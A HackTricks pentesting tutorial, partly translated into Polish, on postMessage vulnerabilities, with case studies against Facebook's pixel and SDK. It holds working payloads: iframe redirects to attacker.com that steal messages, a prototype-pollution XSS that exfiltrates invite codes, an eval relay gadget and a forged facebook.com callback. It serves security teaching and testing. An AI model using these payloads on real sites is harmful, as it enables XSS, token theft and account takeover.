PostMessage Luki

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wyślij PostMessage

PostMessage używa następującej funkcji do wysyłania wiadomości:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Zauważ, że targetOrigin może być ‘*’ lub URL-em takim jak https://company.com.
W drugim scenariuszu, wiadomość może być wysłana tylko do tej domeny (nawet jeśli origin obiektu Window jest inny).
Jeżeli użyty jest wildcard, wiadomości mogą zostać wysłane do dowolnej domeny, i zostaną wysłane na origin obiektu Window.

Atakowanie iframe & wildcard w targetOrigin

Jak wyjaśniono w this report, jeśli znajdziesz stronę, którą można iframed (brak ochrony X-Frame-Header) i która wysyła poufną wiadomość przez postMessage, używając wildcard (*), możesz zmodyfikować origin iframe i leak poufnej wiadomości do domeny kontrolowanej przez Ciebie.\
Zauważ, że jeśli stronę można iframed, ale targetOrigin jest ustawiony na URL, a nie na wildcard, ten trick nie zadziała.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener wykorzystanie

addEventListener to funkcja używana przez JS do zadeklarowania funkcji, która oczekuje postMessages.
Kod podobny do poniższego zostanie użyty:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Zwróć uwagę, że w tym przypadku pierwszą rzeczą, którą robi kod, jest sprawdzenie origin. To jest niezwykle ważne, zwłaszcza jeśli strona ma wykonać cokolwiek wrażliwego z otrzymanymi danymi (np. zmianę hasła). Jeśli nie sprawdza origin, atakujący mogą zmusić ofiary do wysłania dowolnych danych do tych endpointów i zmienić hasła ofiar (w tym przykładzie).

Enumeration

W celu znalezienia event listeners na bieżącej stronie możesz:

  • Przeszukać kod JS pod kątem window.addEventListener i $(window).on (wersja JQuery)
  • Wykonać w konsoli narzędzi developerskich: getEventListeners(window)

  • Przejść do Elements –> Event Listeners w narzędziach developerskich przeglądarki

Origin check bypasses

  • Atrybut event.isTrusted jest uznawany za bezpieczny, ponieważ zwraca True tylko dla zdarzeń wygenerowanych przez prawdziwe działania użytkownika. Choć trudny do obejścia, jeśli jest poprawnie zaimplementowany, ma istotne znaczenie w sprawdzeniach bezpieczeństwa.
  • Użycie indexOf() do walidacji origin w zdarzeniach PostMessage może być podatne na obejścia. Przykład ilustrujący tę lukę to:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • Metoda search() z String.prototype.search() jest przeznaczona dla wyrażeń regularnych, nie dla zwykłych stringów. Przekazanie czegokolwiek innego niż regexp powoduje niejawne skonwertowanie do regexu, co może uczynić metodę potencjalnie niebezpieczną. W regexie kropka (.) działa jako wildcard, pozwalając na obejście walidacji przy specjalnie skonstruowanych domenach. Na przykład:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • Funkcja match(), podobnie jak search(), operuje na regexach. Jeśli regex jest niewłaściwie skonstruowany, może być podatny na obejścia.

  • Funkcja escapeHtml ma na celu sanitizację wejścia poprzez escape’owanie znaków. Jednak nie tworzy nowego, escapowanego obiektu, lecz nadpisuje właściwości istniejącego obiektu. To zachowanie można wykorzystać. W szczególności, jeśli obiekt może być zmanipulowany tak, że jego kontrolowana właściwość nie rozpoznaje hasOwnProperty, escapeHtml nie zadziała jak oczekiwano. Poniżej przykłady:

  • Oczekowana porażka:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Obejście escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

W kontekście tej luki obiekt File jest szczególnie podatny ze względu na swoją tylko do odczytu właściwość name. Ta właściwość, użyta w szablonach, nie jest sanitizowana przez escapeHtml, co prowadzi do potencjalnych zagrożeń bezpieczeństwa.

  • Właściwość document.domain w JavaScript może być ustawiona przez skrypt w celu skrócenia domeny, co pozwala na bardziej liberalne egzekwowanie polityki same-origin w ramach tej samej domeny bazowej.

Origin-only trust + trusted relays

Jeśli odbiorca sprawdza tylko event.origin (np. ufa dowolnemu *.trusted.com), często można znaleźć stronę “relay” na tym origin, która odsyła parametry kontrolowane przez atakującego za pomocą postMessage do podanego targetOrigin/targetWindow. Przykłady to gadżety marketingowe/analizujące, które biorą parametry query i przekazują {msg_type, access_token, ...} do opener/parent. Możesz:

  • Otworzyć stronę ofiary w popupie/iframe, który ma opener, tak aby jego handlery się zarejestrowały (wiele pixel/SDK rejestruje listenery tylko gdy istnieje window.opener).
  • Nawigować inne okno atakującego do endpointu relay na zaufanym origin, wypełniając pola wiadomości, które chcesz wstrzyknąć (typ wiadomości, tokeny, nonce).
  • Ponieważ wiadomość pochodzi teraz z zaufanego origin, walidacja oparta tylko na origin przechodzi i możesz wywołać uprzywilejowane działania (zmiany stanu, wywołania API, zapisy do DOM) w listenerze ofiary.

Wzorce nadużyć obserwowane w praktyce:

  • Analytics SDK (np. pixel/fbevents-style) konsumują wiadomości typu FACEBOOK_IWL_BOOTSTRAP, następnie wywołują backendowe API używając tokena dostarczonego w wiadomości i dołączają location.href / document.referrer w treści żądania. Jeśli dostarczysz własny token, możesz przeczytać te żądania w historii/logach żądań tokena i wyeksfiltrować tokeny/kody OAuth obecne w URL/referrerze strony ofiary.
  • Każdy relay, który odzwierciedla dowolne pola do postMessage, pozwala podszyć się pod typy wiadomości oczekiwane przez uprzywilejowane listenery. Połącz to ze słabą walidacją wejścia, by osiągnąć wywołania Graph/REST, odblokowania funkcji lub przepływy równoważne CSRF.

Wskazówki do polowania: wypisz postMessage listeners, które sprawdzają tylko event.origin, potem poszukaj same-origin HTML/JS endpointów, które przekazują parametry URL przez postMessage (preview marketingowe, popupy logowania, strony błędów OAuth). Połącz je za pomocą window.open() + postMessage, aby obejść sprawdzenia origin.

e.origin == window.origin bypass

Przy osadzaniu strony w iframe w trybie sandbox używając %%%%%% ważne jest zrozumienie, że origin iframe zostanie ustawiony na null. Ma to znaczenie przy atrybutach sandbox i ich wpływie na bezpieczeństwo oraz funkcjonalność.

Jeżeli w atrybucie sandbox określisz allow-popups, każdy popup otwarty z wnętrza iframe dziedziczy ograniczenia sandbox rodzica. Oznacza to, że jeśli nie dodasz również allow-popups-to-escape-sandbox, origin okna popup także zostanie ustawiony na null, zgodnie z originem iframe.

W rezultacie, kiedy popup zostanie otwarty w tych warunkach i wiadomość zostanie wysłana z iframe do popupu używając postMessage, obie strony (wysyłająca i odbierająca) będą miały origin ustawiony na null. To prowadzi do sytuacji, w której e.origin == window.origin zwraca prawdę (null == null), ponieważ iframe i popup dzielą tę samą wartość originu null.

For more information read:

Bypassing SOP with Iframes - 1

Bypassing e.source

Możliwe jest sprawdzenie, czy wiadomość pochodzi z tego samego okna, w którym skrypt nasłuchuje (szczególnie interesujące dla Content Scripts z rozszerzeń przeglądarki, aby sprawdzić, czy wiadomość została wysłana z tej samej strony):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Możesz wymusić, aby e.source wiadomości było null, tworząc iframe, które wysyła postMessage i jest natychmiast usunięte.

For more information read:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Aby przeprowadzić te ataki, najlepiej będziesz mógł umieścić stronę ofiary wewnątrz iframe. Jednak niektóre nagłówki, takie jak X-Frame-Header, mogą zapobiec temu zachowaniu.
W takich sytuacjach nadal możesz użyć mniej ukrytego ataku. Możesz otworzyć nową kartę z podatną aplikacją webową i komunikować się z nią:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Kradzież wiadomości wysyłanej do child iframe przez zablokowanie głównej strony

Na poniższej stronie możesz zobaczyć, jak można ukraść poufne dane postmessage wysyłane do child iframe przez zablokowanie głównej strony przed wysłaniem danych i wykorzystanie XSS in the child żeby leak the data zanim zostaną odebrane:

Blocking main page to steal postmessage

Kradzież wiadomości przez zmianę lokalizacji iframe

Jeśli możesz osadzić stronę jako iframe bez X-Frame-Header, która zawiera inny iframe, możesz zmienić lokalizację tego child iframe, więc jeśli otrzymuje ona postmessage wysłaną z użyciem wildcard, atakujący mógłby zmienić origin tego iframe na stronę kontrolowaną przez niego i ukraść wiadomość:

Steal postmessage modifying iframe location

postMessage to Prototype Pollution and/or XSS

W scenariuszach, gdzie dane wysyłane przez postMessage są wykonywane przez JS, możesz iframe the page and exploit the prototype pollution/XSS, wysyłając exploit przez postMessage.

A couple of very good explained XSS though postMessage can be found in https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Przykład exploita do wykorzystania Prototype Pollution and then XSS przez postMessage do iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Aby uzyskać więcej informacji:

Ładowanie skryptu zależnego od origin i pivot łańcucha dostaw (studium przypadku CAPIG)

capig-events.js zarejestrował jedynie handler message, gdy istniał window.opener. Podczas IWL_BOOTSTRAP sprawdzał pixel_id, ale zapisywał event.origin i później używał go do zbudowania ${host}/sdk/${pixel_id}/iwl.js.

Handler zapisujący origin kontrolowany przez atakującego ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Get an opener: np. w Facebook Android WebView ponownie użyć window.name z window.open(target, name), tak by okno stało się swoim własnym openerem, a następnie wysłać postMessage z złośliwego iframe.
  2. Wysłać IWL_BOOTSTRAP z dowolnego origin, żeby zapisać host = event.origin w localStorage.
  3. Hostować /sdk/<pixel_id>/iwl.js na dowolnym CSP-allowed origin (takeover/XSS/upload na whitelisted analytics domain). startIWL() wówczas załaduje attacker JS na embedding site (np. www.meta.com), umożliwiając credentialed cross-origin calls i account takeover.

Jeśli bezpośrednia kontrola opener była niemożliwa, przejęcie iframe strony trzeciej na stronie nadal pozwalało wysłać spreparowany postMessage do parent, aby zatruć zapisany host i wymusić załadowanie skryptu.

Backend-generated shared script → stored XSS: plugin AHPixelIWLParametersPlugin konkatenował parametry reguł użytkownika do JS dołączanego do capig-events.js (np. cbq.config.set(...)). Wstrzyknięcie breakouts typu "]} powodowało wykonanie dowolnego JS, tworząc stored XSS w shared script serwowanym do wszystkich stron, które go ładowały.

Trusted-origin allowlist isn’t a boundary

Surowa walidacja event.origin działa tylko jeśli trusted origin nie może uruchomić attacker JS. Gdy uprzywilejowane strony osadzają third-party iframe i zakładają, że event.origin === "https://partner.com" jest bezpieczne, każde XSS na partner.com staje się mostem do parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Wzorzec ataku obserwowany w naturze:

  1. Exploit XSS in the partner iframe i umieścić relay gadget, tak aby każdy postMessage stał się code exec wewnątrz zaufanego origin:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. Ze strony atakującego, wyślij JS do przejętego iframe, który przekazuje do rodzica dozwolony typ wiadomości. Wiadomość pochodzi z partner.com, przechodzi allowlist i zawiera HTML, który jest wstawiany w niebezpieczny sposób:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. The parent injects the attacker HTML, giving JS execution in the parent origin (e.g., facebook.com), which can then be used to steal OAuth codes or pivot to full account takeover flows.

Key takeaways:

  • Partner origin isn’t a boundary: każda XSS w “trusted” partnerze pozwala atakującym wysyłać dozwolone wiadomości, które omijają sprawdzenia event.origin.
  • Handlers that render partner-controlled payloads (e.g., innerHTML on specific message types) sprawiają, że kompromitacja partnera staje się same-origin DOM XSS.
  • A wide message surface (wiele typów, brak walidacji struktury) daje więcej gadgets do pivotingu, gdy iframe partnera zostanie skompromitowany.

Predicting Math.random() callback tokens in postMessage bridges

When message validation uses a “shared secret” generated with Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:

  • Leak PRNG outputs via window.name: The SDK auto-names plugin iframes with guid(). If you control the top frame, iframe the victim page, then navigate the plugin iframe to your origin (e.g., window.frames[0].frames[0].location='https://attacker.com') and read window.frames[0].frames[0].name to obtain a raw Math.random() output.
  • Force more outputs without reloads: Niektóre SDK udostępniają reinit path; w FB SDK wywołanie init:post z {xfbml:1} wymusza XFBML.parse(), niszczy/odtwarza plugin iframe i generuje nowe nazwy/ID callbacków. Powtarzane reinity produkują tyle PRNG outputs, ile potrzeba (uwaga na dodatkowe wewnętrzne wywołania Math.random() dla callback/iframe ID — solvery muszą pominąć wartości pośrednie).
  • Trusted-origin delivery via parameter pollution: Jeśli first-party plugin endpoint odzwierciedla niesanitized parametr w cross-window payload (np. /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), możesz wstrzyknąć &type=...&iconSVG=... zachowując zaufany origin facebook.com.
  • Predict the next callback: Konwertuj leaked iframe names z powrotem na floats w [0,1) i podaj kilka wartości (nawet niekolejnych) do V8 Math.random predictor (np. oparty na Z3). Wygeneruj następne guid() lokalnie, aby sfałszować oczekiwany callback token.
  • Trigger the sink: Przygotuj postMessage data tak, aby bridge dispatchował xd.mpn.setupIconIframe i wstrzyknął HTML w iconSVG (np. URL-encoded <img src=x onerror=...>), osiągając DOM XSS w obrębie hosting origin; stamtąd można odczytać same-origin iframes (OAuth dialogs, arbiters, etc.).
  • Framing quirks help: Łańcuch wymaga framingu. W niektórych mobile webviews X-Frame-Options może degradować do nieobsługiwanego ALLOW-FROM gdy obecny jest frame-ancestors, a parametry “compat” mogą wymusić permisywne frame-ancestors, umożliwiając side channel window.name.

Minimal forged message example

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks